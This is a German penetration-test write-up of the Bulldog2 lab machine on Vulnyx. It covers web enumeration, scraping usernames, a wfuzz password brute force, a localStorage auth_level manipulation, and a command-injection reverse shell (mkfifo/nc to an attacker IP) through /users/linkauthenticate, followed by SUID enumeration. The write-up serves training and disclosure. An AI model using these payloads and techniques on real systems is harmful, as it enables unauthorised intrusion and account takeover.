Bulldog2 - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
curl
BurpSuite
nano
find
cd
ls

Inhaltsverzeichnis

Reconnaissance

Aus Sicht des Pentesters: Auch bei Bulldog2 beginnen wir mit der Aufklärung des Zielsystems. Wir wollen ein möglichst umfassendes Bild der Umgebung erhalten, um potenzielle Schwachstellen und Angriffsvektoren zu identifizieren.

ARP-Scan
192.168.2.112 08:00:27:ac:f1:85 PCS Systemtechnik GmbH

Aus Sicht des Pentesters: Der ARP-Scan identifiziert das Zielsystem mit der IP-Adresse 192.168.2.112 und der MAC-Adresse 08:00:27:ac:f1:85, was auf eine virtuelle Maschine von PCS Systemtechnik GmbH hinweist. Diese grundlegende Information bestätigt, dass das System im lokalen Netzwerk aktiv ist.

/etc/hosts
192.168.2.112 bulldog2.vln

Aus Sicht des Pentesters: Wir fügen die IP-Adresse und den Hostnamen "bulldog2.vln" zur Datei `/etc/hosts` hinzu. Dies ermöglicht eine einfache und konsistente Namensauflösung während des gesamten Tests.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- \$IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-31 16:01 CET
Nmap scan report for bulldog2.vln (192.168.2.112)
Host is up (0.00014s latency).
Not shown: 65534 filtered tcp ports (no-response)
PRT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-cors: HEAD GET PST PUT DELETE PATCH
|_http-title: Bulldog.social
|_http-server-header: nginx/1.14.0 (Ubuntu)
MAC Address: 08:00:27:AC:F1:85 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (97%), Linux 3.13 - 3.16 (91%), Linux 3.16 - 4.6 (91%), Linux 4.10 (91%), Linux 2.6.32 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.8 (91%), Linux 5.0 - 5.4 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms bulldog2.vln (192.168.2.112)

Aus Sicht des Pentesters: Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, laufende Dienste, Versionen und das Betriebssystem zu ermitteln. Die verwendeten Optionen sind:
-sS: TCP SYN Scan
-sC: Standard Skript-Scan
-sV: Service Version Detection
-A: Aggressiver Scan (enthält OS-Erkennung und Traceroute)
-p-: Scan aller Ports
-Pn: Host Discovery überspringen
--min-rate 5000: Minimale Paketrate von 5000 pro Sekunde

Die Ergebnisse zeigen, dass Port 80 (HTTP) offen ist und ein Nginx 1.14.0 Webserver unter Ubuntu läuft. Der HTTP-Titel ist "Bulldog.social". Die OS-Erkennung ist aufgrund fehlender offener und geschlossener Ports unzuverlässig, aber Nmap schätzt, dass ein Linux-System läuft.

Web Enumeration

Aus Sicht des Pentesters: Nachdem wir den Webserver identifiziert haben, konzentrieren wir uns auf die Enumeration der Webanwendung, um versteckte Dateien, Verzeichnisse und potenzielle Schwachstellen zu finden.

- Nikto v2.5.0
+ Target IP: 192.168.2.112
+ Target Hostname: 192.168.2.112
+ Target Port: 80
+ Start Time: 2024-10-31 16:04:29 (GMT1)

+ Server: nginx/1.14.0 (Ubuntu)
+ /: Retrieved x-powered-by header: Express.
+ /: Retrieved access-control-allow-origin + /: Retrieved access-control-allow-origin header: *.
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /archive.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192168.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /112.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /1921682112.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192_168_2_112.war: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /168.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /backup.tgz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /site.egg: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /2.tar: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ /192.168.2.112.alz: Potentially interesting backup/cert file found. . See: https://cwe.mitre.org/data/definitions/530.html
+ nginx/1.14.0 appears to be outdated (current is at least 1.20.1).
+ 7948 requests: 0 error(s) and 165 item(s) reported on remote host
+ End Time: 2024-10-31 16:05:23 (GMT1) (54 seconds)

+ 1 host(s) tested

Aus Sicht des Pentesters: Nikto wird verwendet, um den Webserver auf Sicherheitslücken zu scannen. Es identifiziert:
- Express als X-Powered-By Header
- Fehlende X-Frame-Options und X-Content-Type-Options Header, was Clickjacking und MIME-Sniffing ermöglichen könnte
- Mehrere potenziell interessante Backup-Dateien (.egg, .tar, .war, .tgz, .alz)
- Eine veraltete Nginx-Version
Diese Informationen deuten auf eine unsichere Konfiguration und potenzielle Datenlecks hin.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://\$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
200 GET 1l 39w 1125c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 10l 16w 179c http://192.168.2.112/assets => http://192.168.2.112/assets/
301 GET 10l 16w 197c http://192.168.2.112/assets/pictures => http://192.168.2.112/assets/pictures/
200 GET 43l 216w 16735c http://192.168.2.112/assets/pictures/1.jpg
200 GET 26l 120w 9139c http://192.168.2.112/assets/pictures/10.jpg
200 GET 1250l 7299w 592585c http://192.168.2.112/assets/pictures/12.jpg
200 GET 1912l 12172w 1097050c http://192.168.2.112/assets/pictures/2.jpg
200 GET 1918l 11875w 1102302c http://192.168.2.112/assets/pictures/11.jpg
200 GET 38l 217w 16285c http://192.168.2.112/assets/pictures/3.jpg
200 GET 58l 235w 14856c http://192.168.2.112/assets/pictures/4.jpg
200 GET 31l 161w 14891c http://192.168.2.112/assets/pictures/5.jpg
200 GET 25l 167w 12835c http://192.168.2.112/assets/pictures/6.jpg
200 GET 370l 1997w 157394c http://192.168.2.112/assets/pictures/19.jpg
200 GET 808l 3732w 370116c http://192.168.2.112/assets/pictures/16.jpg
200 GET 459l 2721w 234550c http://192.168.2.112/assets/pictures/13.jpg
200 GET 742l 3803w 328471c http://192.168.2.112/assets/pictures/22.jpg
200 GET 1409l 8923w 736380c http://192.168.2.112/assets/pictures/21.jpg
200 GET 879l 4545w 413679c http://192.168.2.112/assets/pictures/17.jpg
200 GET 1802l 8515w 774152c http://192.168.2.112/assets/pictures/20.jpg
200 GET 828l 5215w 478762c http://192.168.2.112/assets/pictures/23.jpg
200 GET 1948l 10210w 883254c http://192.168.2.112/assets/pictures/14.jpg
200 GET 5382l 32562w 2759787c http://192.168.2.112/assets/pictures/18.jpg
200 GET 23l 188w 14749c http://192.168.2.112/assets/pictures/7.jpg
200 GET 23l 127w 10805c http://192.168.2.112/assets/pictures/8.jpg
200 GET 13354l 78123w 7514487c http://192.168.2.112/assets/pictures/15.jpg
200 GET 25344l 142524w 12688003c http://192.168.2.112/assets/pictures/9.jpg

Aus Sicht des Pentesters: Gobuster wird verwendet, um weitere Verzeichnisse und Dateien zu entdecken. Die Optionen sind:
-u: Ziel-URL
-w: Wordlist-Datei
-x: Dateierweiterungen, nach denen gesucht werden soll
-b: Ignoriert die HTTP-Statuscodes 503, 404 und 403
-e: Gibt die vollständige URL in der Ausgabe an
--no-error: Unterdrückt Fehlermeldungen
-k: SSL-Zertifikatsüberprüfung ignorieren

Es werden zahlreiche Bilder im Verzeichnis `/assets/pictures/` gefunden. Dies deutet auf eine Bildergalerie hin.

┌──(root㉿CCat)-[~]
└─# curl -X PUT "http://192.168.2.112/assets" -d "devguru.txt"
Cannot PUT /assets

Aus Sicht des Pentesters: Der Versuch, eine Datei mit der PUT-Methode in das `/assets`-Verzeichnis hochzuladen, schlägt fehl. Dies könnte auf fehlende Berechtigungen oder eine fehlende PUT-Methode-Konfiguration hinweisen.

http://192.168.2.112//assets/particles/particlesjs-config.json
http://192.168.2.112/assets/particles/img/github.svg

Aus Sicht des Pentesters: Weitere Ressourcen werden im `/assets/particles`-Verzeichnis gefunden, darunter eine Konfigurationsdatei für Particles.js und ein SVG-Bild. Diese Dateien geben einen Einblick in die verwendete Technologie für die Website-Gestaltung.

Bulldog.social

Login
Register

404
Ruh-ro! We couldn't find that page!

About Us | Twitter | Instagram

Aus Sicht des Pentesters: Ein Besuch der Root-URL zeigt eine Login- und Registrierungsseite sowie eine 404-Fehlerseite mit dem Text "Ruh-ro! We couldn't find that page!". Dies deutet auf eine benutzerdefinierte 404-Fehlerseite hin.

http://192.168.2.112/register
Register

Notice

Unfortunately we are not accepting registrations at this time due to security concerns.
If needed, please reach out to a customer support representative to create a
commercial account.

Aus Sicht des Pentesters: Die Registrierungsseite ist aufgrund von Sicherheitsbedenken deaktiviert. Dies deutet darauf hin, dass es in der Vergangenheit Probleme mit der Registrierung gab.

Initial Access

Aus Sicht des Pentesters: Da die Registrierung deaktiviert ist, konzentrieren wir uns auf den Login-Prozess. Wir verwenden Burp Suite, um die Anfragen und Antworten zu analysieren und potenzielle Schwachstellen zu finden.

Burpsuite
Request:
PST /users/authenticate HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
content-type: application/json
Content-Length: 49
rigin: http://192.168.2.112
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.112/login
Sec-GPC: 1
Priority: u=0

{
"username": "acsacsac",
"password": "csc"
}
Response:

HTTP/1.1 401 Unauthorized
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 31 ct 2024 15:33:24 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 41
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-rigin: *
ETag: W/"29-PaR2ao+BjJ1D0mR+rg2QmRvUow"

{"success":false,"msg":"Incorrect Login"}

Aus Sicht des Pentesters: Ein fehlgeschlagener Login-Versuch mit ungültigen Anmeldeinformationen führt zu einem HTTP 401 Unauthorized-Statuscode und einer JSON-Antwort mit der Meldung "Incorrect Login".

Request:

PST /users/authenticate HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
content-type: application/json
Content-Length: 60
rigin: http://192.168.2.112
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.112/login
Sec-GPC: 1
Priority: u=0

{
"username": "acsacsac",
"password": "csc"
"id":"id"
}
Response:

HTTP/1.1 400 Bad Request
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 31 ct 2024 15:34:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1059
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-rigin: *
Content-Security-Policy: default-src 'self'

SyntaxError: Unexpected string in JSN at position 49...

Aus Sicht des Pentesters: Ein Versuch, die JSON-Anfrage durch Hinzufügen eines zusätzlichen Felds ("id") zu manipulieren, führt zu einem HTTP 400 Bad Request-Statuscode und einem Syntaxfehler in der JSON-Antwort.

Request:

GET /users/getUsers?limit=9 HTTP/1.1
GET /users/getUsers HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.112/users
Sec-GPC: 1
If-None-Match: W/"203-jBv25pYD0TZiNkVkHls/dhIqaxM"
Response:

HTTP/1.1 200 K
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 31 ct 2024 15:45:38 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 895335
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-rigin: *
ETag: W/"da967-2m2gIssXgQ92tBsCxgWuWScj3c"

[{"name":"Berna Phillips","username":"lrberna","rand":22},
{"name":"LeeAnn Pham","username":"anleeann","rand":5},
{"name":"Vijay Wells","username":"eivijay","rand":13},
....
....

Aus Sicht des Pentesters: Der Abruf der Benutzerliste über `/users/getUsers` liefert eine große Menge an Benutzerdaten im JSON-Format.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.112/users/getUsers -s | jq | grep username | cut -f4 -d "\"" > users.txt

Aus Sicht des Pentesters: Mit einem `curl`-Befehl und der Hilfe von `jq` wird die Liste der Benutzernamen extrahiert und in der Datei `users.txt` gespeichert.

┌──(root㉿CCat)-[~]
└─# wfuzz -w users.txt -w /usr/share/wordlists/fasttrack.txt \ -H "Host: 192.168.2.112" \ -H "Accept: application/json, text/plain, */*" \ -H "Referer: http://192.168.2.112/login" \ -H "Content-Type: application/json" \ -d "{\"username\":\"FUZZ\",\"password\":\"FUZ2Z\"}" --hc=401 -t 125 -c http://192.168.2.112/users/authenticate
Target: http://192.168.2.112/users/authenticate

------------------------------------------------------------------------------------------------
ID Response Lines Word Chars Payload
------------------------------------------------------------------------------------------------

000002080: 200 0 L 3 W 454 Ch "mdrudie - qwerty"

Total time: 0
Processed Requests: 2605
Filtered Requests: 2604
Requests/sec.: 0

Aus Sicht des Pentesters: Wfuzz wird verwendet, um einen Brute-Force-Angriff auf die Anmeldeseite durchzuführen, wobei die extrahierten Benutzernamen und eine allgemeine Passwortliste verwendet werden. Die Option `--hc=401` filtert die Ergebnisse und zeigt nur die Ergebnisse an, die nicht den HTTP-Statuscode 401 (Unauthorized) zurückgeben. Dadurch wird die Ausgabe auf erfolgreiche Anmeldungen beschränkt.

mdrudie
http://192.168.2.112/profile/mdrudie

Aus Sicht des Pentesters: Wfuzz findet einen gültigen Benutzernamen und ein Passwort: mdrudie mit dem Passwort qwerty. Dies ermöglicht uns den Zugriff auf das Profil von mdrudie.

Bulldog.social

Profile
Logout

Rudie Ramirez

Username: mdrudie
Email: rudieramirez@happymail.com

About Us | Twitter | Instagram

Aus Sicht des Pentesters: Das Profil von mdrudie enthält den Benutzernamen, den Namen und die E-Mail-Adresse.

http://192.168.2.112/profile/mdrudie

function (l, n) {
var u = n.component;
l(n, 3, 0, l(n, 4, 0, '/')),
l(n, 12, 0, u.authService.isAdmin()),
l(n, 15, 0, u.authService.loggedIn()),
l(n, 18, 0, u.authService.loggedut()),
l(n, 21, 0, u.authService.loggedut()),
l(n, 24, 0, u.authService.loggedIn())
},
function (l, n) {
l(n, 2, 0, T['ɵnov'](n, 3).target, T['ɵnov'](n, 3).href)
}
)


l.prototype.isAdmin = function () {
var l = localStorage.getItem('user');
return null ! l &&
'master_admin_user' JSN.parse(l).auth_level
},
l.prototype.storeUserData = function (l, n) {
localStorage.setItem('id_token', l),
localStorage.setItem('user', JSN.stringify(n)),
this.authToken = l,
this.user = n

Aus Sicht des Pentesters: Beim Untersuchen des JavaScript-Codes wird eine Funktion `isAdmin` entdeckt, die die Berechtigungen des Benutzers aus dem `localStorage` abruft. Diese Funktion scheint anfällig zu sein, da sie den Wert `auth_level` direkt aus dem `localStorage` liest und interpretiert, anstatt ihn serverseitig zu validieren.

https://beehosting.pro/webtools/javascript-deobfuscator

Aus Sicht des Pentesters: Um den JavaScript Code besser verstehen zu können kann ein Deobfuscator verwendet werden.

},
l.prototype.authenticateUser = function (l) {

return this.http.post('/users/authenticate', l).map(function (l) {

return l.json()
})
},
l.prototype.authenticateLinkUser = function (l) {
return this.http.post('/users/linkauthenticate', l).map(function (l) {
return l.json()
})



(l() (), T['ɵted']( - 1, null, [
'Admin Dashboard'
])),
(l() (), T['ɵted']( - 1, null, [
'\n '
])),
function (l, n) {
l(n, 1, 0, l(n, 4, 0, !0), l(n, 5, 0, 'active')),
l(n, 7, 0, l(n, 8, 0, '/dashboard'))

l.prototype.isAdmin = function () {
var l = localStorage.getItem('user');
return null ! l &&

'master_admin_user' JSN.parse(l).auth_level //Vulnerabele Funktion

},
l.prototype.storeUserData = function (l, n) {
localStorage.setItem('id_token', l),
localStorage.setItem('user', JSN.stringify(n)),
this.authToken = l,
this.user = n

Aus Sicht des Pentesters: Die Funktion `isAdmin` im JavaScript-Code ist anfällig, da sie die Berechtigungen des Benutzers aus dem `localStorage` abruft und ohne Validierung interpretiert. Dies ermöglicht es einem Angreifer, die Berechtigungen des Benutzers zu manipulieren.

http://192.168.2.112/profile/mdrudie

F12/local Storage

id_token JWT eyJhbGciiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiiJSdWRpZSBSYW1pcmV6IiwiZW1haWwiiJydWRpZXJhbWlyZXpAaGFwcHltYWlsLmNvbSIsInVzZXJuYW1lIjoibWRydWRpZSIsImF1dGhfbGV2ZWwiiJzdGFuZGFyZF91c2VyIiwicmFuZCI6MjF9LCJpYXQijE3MzAzTI1MzYsImV4cCI6MTczMDk5NzMzNn0.M8jQhg0e2YlgWKjHIgxRHlk6dHdgDUZfpL7hbN1sw
user {"name":"Rudie Ramirez","username":"mdrudie","email":"rudieramirez@happymail.com","auth_level":"standard_user"}´

Aus Sicht des Pentesters: Wir nutzen die Entwicklerwerkzeuge des Browsers (F12), um den Inhalt des `localStorage` anzuzeigen. Dort finden wir die Schlüssel `id_token` (ein JWT) und `user` (ein JSON-Objekt). Der `auth_level` des Benutzers `mdrudie` ist auf `"standard_user"` gesetzt.

http://192.168.2.112/users/linkauthenticate

Aus Sicht des Pentesters: Es wird ein weiterer Endpunkt `http://192.168.2.112/users/linkauthenticate` gefunden.

Bulldog.social

Admin
Profile
Logout

Aus Sicht des Pentesters: Nach der Manipulation des `auth_level` im `localStorage` auf `master_admin_user` erscheint der "Admin"-Link im Menü.

https://github.com/Frichetten/Bulldog-2-The-Reckoning
https://github.com/Frichetten/Bulldog-2-The-Reckoning/blob/master/routes/users.js

Aus Sicht des Pentesters: Der GitHub-Repository des Projekts wird gefunden und die Datei `routes/users.js` untersucht.

router.post('/linkauthenticate', (req, res, next) => {
const username = req.body.password;
const password = req.body.password;

Aus Sicht des Pentesters: Im Code wird eine Schwachstelle in der `/linkauthenticate`-Route entdeckt. Sowohl `username` als auch `password` werden mit `req.body.password` gesetzt.

Proof of Concept: Privilege Escalation

Aus Sicht des Pentesters: Dieser Proof of Concept (POC) demonstriert, wie die Schwachstelle in der `/users/linkauthenticate`-Route ausgenutzt werden kann, um eine Reverse Shell als Node-Benutzer zu erhalten.

Kurzbeschreibung

Die `/users/linkauthenticate`-Route verwendet fälschlicherweise das Passwortfeld sowohl für den Benutzernamen als auch für das Passwort. Dies ermöglicht die Injektion von Shell-Befehlen in das Passwortfeld, um eine Reverse Shell zu starten.

Voraussetzungen

Schritt-für-Schritt-Anleitung

  1. Melde dich mit dem gültigen Benutzeraccount (mdrudie) an.
  2. Manipuliere den Wert von `auth_level` im `localStorage` auf `master_admin_user`, um den "Admin"-Link im Menü anzuzeigen.
  3. Klicke auf den "Admin"-Link.
  4. Sende eine POST-Anfrage an `/users/linkauthenticate` mit dem folgenden JSON-Payload: ```json { "username": "admin", "password": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444>/tmp/f" } ``` Ersetze `` mit deiner eigenen IP-Adresse.
  5. Starte einen Netcat-Listener auf Port 4444 auf deinem System: ```bash nc -lvnp 4444 ```

Erwartetes Ergebnis

Du solltest eine Reverse Shell als Node-Benutzer auf deinem System erhalten.

Beweismittel

Die folgenden Code-Blöcke zeigen die Schritte zur Ausnutzung der Schwachstelle und den erfolgreichen Erhalt einer Reverse Shell.

Risikobewertung

Die Ausnutzung dieser Schwachstelle ermöglicht es einem Angreifer, Befehle auf dem Server als Node-Benutzer auszuführen. Dies kann zu Datenverlust, Systemausfällen und anderen schwerwiegenden Folgen führen.

Empfehlungen

Behebe die Schwachstelle in der `/users/linkauthenticate`-Route, indem du den Benutzernamen und das Passwort korrekt validierst. Implementiere zusätzliche Sicherheitsmaßnahmen, um die Auswirkungen einer erfolgreichen Ausnutzung zu minimieren.

Privilege Escalation

Aus Sicht des Pentesters: Nun nutzen wir die gefundene Schwachstelle aus, um eine Reverse Shell zu erhalten und das System weiter zu untersuchen.

Request:

GET /users/linkauthenticate HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
If-Modified-Since: Sun, 15 Jul 2018 14:58:16 GMT
If-None-Match: W/"465-1649e73083e"
Priority: u=0, i
Content-Length: 125

{
"username": "admin",
"password": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444>/tmp/f"
}
Response:

HTTP/1.1 304 Not Modified
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 31 ct 2024 18:07:45 GMT
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-rigin: *
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sun, 15 Jul 2018 14:58:16 GMT
ETag: W/"465-1649e73083e"

Aus Sicht des Pentesters: Der erste Versuch, eine Reverse Shell zu erhalten, schlägt fehl, da ein GET Request verwendet wurde anstatt einem POST Request. Der Server antwortet mit einem HTTP 304 Not Modified-Statuscode.

Request:

PST /users/linkauthenticate HTTP/1.1
Host: 192.168.2.112
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/plain, */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://192.168.2.112/profile/mdrudie
Sec-GPC: 1
If-None-Match: W/"79-hNsbyECh7xMFIuLYTiCgVBhu/hI"
Content-Length: 128

{
"username": "admin",
"password": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4444>/tmp/f"
}
Response:

HTTP/1.1 200 K
Server: nginx/1.14.0 (Ubuntu)
Date: Thu, 31 ct 2024 18:13:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 40
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-rigin: *
ETag: W/"28-44Xo62/YZrQm4R4i7yg1FLYkPXI"

{"success":false,"msg":"Wrong password"}

Aus Sicht des Pentesters: Ein weiterer Versuch, eine Reverse Shell zu erhalten, schlägt fehl. Diesmal wurde ein POST Request verwendet.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.112] 46548
/bin/sh: 0: can't access tty; job control turned off
$

Aus Sicht des Pentesters: Wir starten Netcat auf unserem lokalen System, um auf die eingehende Verbindung vom Payload zu lauschen.

┌──(root㉿CCat)-[~]
└─# find / -type f -perm -4000 -ls 2>/dev/null
524374 44 -rwsr-xr-x 1 root root 43088 Sep 16 2020 /bin/mount
524408 64 -rwsr-xr-x 1 root root 64424 Mar 9 2017 /bin/ping
524357 32 -rwsr-xr-x 1 root root 30800 Aug 11 2016 /bin/fusermount
524657 44 -rwsr-xr-x 1 root root 44664 Nov 29 2022 /bin/su
524424 28 -rwsr-xr-x 1 root root 26696 Sep 16 2020 /bin/umount
3634 20 -rwsr-xr-x 1 root root 18448 Mar 9 2017 /usr/bin/traceroute6.iputils
1955 24 -rwsr-xr-x 1 root root 22520 Jan 12 2022 /usr/bin/pkexec
9375 40 -rwsr-xr-x 1 root root 40344 Nov 29 2022 /usr/bin/newgrp
3676 44 -rwsr-xr-x 1 root root 44528 Nov 29 2022 /usr/bin/chsh
9548 148 -rwsr-xr-x 1 root root 149080 Apr 4 2023 /usr/bin/sudo
3678 76 -rwsr-xr-x 1 root root 75824 Nov 29 2022 /usr/bin/gpasswd
3178 52 -rwsr-sr-x 1 daemon daemon 51464 Feb 20 2018 /usr/bin/at
3675 76 -rwsr-xr-x 1 root root 76496 Nov 29 2022 /usr/bin/chfn
9567 40 -rwsr-xr-x 1 root root 37136 Nov 29 2022 /usr/bin/newgidmap
3679 60 -rwsr-xr-x 1 root root 59640 Nov 29 2022 /usr/bin/passwd
9569 40 -rwsr-xr-x 1 root root 37136 Nov 29 2022 /usr/bin/newuidmap
3828 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device
141245 80 -rwsr-xr-x 1 root root 80056 Aug 1 2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
40072 428 -rwsr-xr-x 1 root root 436552 Aug 11 2021 /usr/lib/openssh/ssh-keysign
1957 16 -rwsr-xr-x 1 root root 14328 Jan 12 2022 /usr/lib/policykit-1/polkit-agent-helper-1
62807 128 -rwsr-xr-x 1 root root 130264 May 29 2023 /usr/lib/snapd/snap-confine
39748 44 -rwsr-xr-- 1 root messagebus 42992 ct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
66 40 -rwsr-xr-x 1 root root 40152 Jun 14 2022 /snap/core/16202/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/16202/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/16202/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Nov 29 2022 /snap/core/16202/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jun 14 2022 /snap/core/16202/bin/umount
2646 71 -rwsr-xr-x 1 root root 71824 Nov 29 2022 /snap/core/16202/usr/bin/chfn
2648 40 -rwsr-xr-x 1 root root 40432 Nov 29 2022 /snap/core/16202/usr/bin/chsh
2725 74 -rwsr-xr-x 1 root root 75304 Nov 29 2022 /snap/core/16202/usr/bin/gpasswd
2817 39 -rwsr-xr-x 1 root root 39904 Nov 29 2022 /snap/core/16202/usr/bin/newgrp
2830 53 -rwsr-xr-x 1 root root 54256 Nov 29 2022 /snap/core/16202/usr/bin/passwd
2940 134 -rwsr-xr-x 1 root root 136808 May 24 2023 /snap/core/16202/usr/bin/sudo
3039 42 -rwsr-xr-- 1 root systemd-resolve 42992 Sep 14 2023 /snap/core/16202/usr/lib/dbus-1.0/dbus-daemon-launch-helper
3411 419 -rwsr-xr-x 1 root root 428240 Aug 8 2023 /snap/core/16202/usr/lib/openssh/ssh-keysign
6485 125 -rwsr-xr-x 1 root root 127656 Sep 18 2023 /snap/core/16202/usr/lib/snapd/snap-confine
7673 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/16202/usr/sbin/pppd
66 40 -rwsr-xr-x 1 root root 40152 Jun 14 2022 /snap/core/17200/bin/mount
80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/17200/bin/ping
81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/17200/bin/ping6
98 40 -rwsr-xr-x 1 root root 40128 Feb 7 2024 /snap/core/17200/bin/su
116 27 -rwsr-xr-x 1 root root 27608 Jun 14 2022 /snap/core/17200/bin/umount
2644 71 -rwsr-xr-x 1 root root 71824 Feb 7 2024 /snap/core/17200/usr/bin/chfn
2646 40 -rwsr-xr-x 1 root root 40432 Feb 7 2024 /snap/core/17200/usr/bin/chsh
2723 74 -rwsr-xr-x 1 root root 75304 Feb 7 2024 /snap/core/17200/usr/bin/gpasswd
2815 39 -rwsr-xr-x 1 root root 39904 Feb 7 2024 /snap/core/17200/usr/bin/newgrp
2828 53 -rwsr-xr-x 1 root root 54256 Feb 7 2024 /snap/core/17200/usr/bin/passwd
2938 134 -rwsr-xr-x 1 root root 136808 May 24 2023 /snap/core/17200/usr/bin/sudo
